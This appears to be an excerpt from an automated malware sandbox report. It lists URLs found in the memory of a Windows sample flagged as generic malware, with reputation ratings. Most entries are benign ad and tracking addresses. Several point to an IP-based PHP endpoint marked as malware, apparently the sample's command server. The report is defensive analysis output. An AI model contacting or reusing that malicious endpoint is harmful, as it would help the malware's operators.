SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331107259.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294585730.0000000005111000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503035942.00000000065D1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.494618814.0000000004598000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.419741274.0000000004687000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.490157580.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414899247.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498467638.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.447515827.0000000004581000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446429265.0000000005980000.00000004.00000800.00020000.00000000.sdmp	false		high
https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335542001.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330096144.00000000052C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335575472.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293479827.00000000044A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345318581.0000000005C31000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338218314.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502891434.0000000006611000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495669681.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498467638.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484048915.0000000005D60000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.447881224.0000000004748000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://www.google.com/chrome/static/images/app-store-download.png	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://www.google.com/chrome/static/images/homepage/hero-anim-top-right.png	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://contextual.media.net/	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.290256424.0000000004268000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.443760045.0000000004480000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495268701.0000000005B18000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://pki.goog/repository/0	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.344174154.0000000005EF9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.336368762.00000000045B7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292001467.0000000004548000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338825887.0000000005B91000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330906995.00000000045D0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338532995.0000000005171000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.388926594.0000000005F18000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.390805763.0000000006150000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.334404302.00000000050E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.336020486.00000000050E7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.390567852.00000000060D0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338872681.0000000005B71000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346643002.0000000006110000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331952065.00000000045B0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.350519948.0000000005D2F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346377524.0000000006111000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346020812.0000000006069000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.344248442.0000000005ED9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.343709308.0000000005F79000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283926003.0000000004418000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://adservice.google.com/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5723238221569;gtm=	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279645647.0000000004271000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279838375.0000000004278000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293538991.0000000004539000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280237180.00000000042B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331107259.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.419741274.0000000004687000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.447515827.0000000004581000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.423102370.0000000004689000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.407832897.0000000004517000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://mem.gfx.ms/meversion?partner=RetailStore2&market=en-us&uhf=1	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false	URL Reputation: safe	unknown
http://cm.adform.net/pixel?adform_pid=16&adform_pc=3011883223893104794	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
http://widgets.outbrain.com/external/publishers/msn/MSNIdSync.js	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335542001.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330096144.00000000052C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335575472.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338218314.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498467638.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484048915.0000000005D60000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
http://103.136.42.153/seemorebty/il.php?e=SecuriteInfo.com.Win32.Malware-gen.306744d	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.524449534.0000000003180000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://cdn.taboola.com/TaboolaCookieSyncScript.js	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://cvision.media.net/new/300x300/3/167/174/27/39ab3103-8560-4a55-bfc4-401f897cf6f2.jpg?v=9	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.389646070.0000000006058000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.532928709.00000000065B0000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
http://www.msn.com/	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.348691885.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.290256424.0000000004268000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.336576985.0000000004517000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.332232733.0000000004510000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.284045661.00000000043F8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.336627856.0000000004517000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.443760045.0000000004480000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.416655815.0000000004637000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495268701.0000000005B18000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.501225826.0000000006288000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488929128.0000000004820000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC828bc1cde9f04b788c98b5423157734	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://googleads.g.doubleclick.net/pagead/drt/si	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335542001.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330096144.00000000052C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335575472.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338218314.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498467638.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484048915.0000000005D60000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://api.taboola.com/1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330038482.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.333295635.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338271728.0000000005151000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335649928.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335608702.00000000052A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484130863.0000000005D40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498555676.0000000006569000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
http://103.136.42.153:80/seemorebty/il.php?e=SecuriteInfo.com.Win32.Malware-gen.30674e	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.524929485.00000000031EF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.495735399.00000000031EF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/chrome/static/images/fallback/google-logo-one-color.jpg	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
http://103.136.42.153/seemorebty/	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.510876847.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000002.510744643.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.511032260.0000000000401000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/chrome/static/images/fallback/icon-twitter.jpg	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
http://103.136.42.153	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.398060817.0000000003333000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.msn.com/de-ch/entertainment/_h/c920645c/webcore/externalscripts/oneTrustV2/consent/55a804	d.0.dr	false		high
https://contextual.media.net/803288796/fcmain.js?&gdpr=0&cid=8CU157172&cpcd=pC3JHgSCqY8UHihgrvGr0A%3	d.0.dr	false		high
https://mem.gfx.ms/me/MeControl/10.19168.0/en-US/meBoot.min.js	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false	URL Reputation: safe	unknown
http://images.outbrainimg.com/transform/v3/eyJpdSI6IjVhZWEwOTA0MmYxYzJjMDRlMmU1NDg1YzZmNjY2NTU5N2E5N	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.357682139.0000000005150000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330038482.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.333295635.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338307986.0000000005150000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335649928.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335608702.00000000052A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498598371.0000000006568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484130863.0000000005D40000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false	URL Reputation: safe	unknown
https://contextual.media.net/48/nrrV18753.js	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345410283.0000000006079000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503035942.00000000065D1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.490157580.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446429265.0000000005980000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://www.google.com/chrome/static/images/fallback/icon-help.jpg	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
http://images.outbrainimg.com/transform/v3/eyJpdSI6IjM1OWYyYmUyYWEzNmM5ZGIxOWNkODJhMjgxMTNiZjk2MDliN	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.357682139.0000000005150000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330038482.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.333295635.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338307986.0000000005150000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335649928.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335608702.00000000052A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498598371.0000000006568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484130863.0000000005D40000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false	Avira URL Cloud: safe	unknown
http://trc.taboola.com/p3p.xml	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330038482.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.333295635.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338271728.0000000005151000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335649928.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335608702.00000000052A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484130863.0000000005D40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498555676.0000000006569000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://www.google.com/chrome/static/images/homepage/google-enterprise.png	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://mcdp-chidc2.outbrain.com/l?token=cadd7d1b12e34ff71b0237f3627e8ef3_4535_1561640955067	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
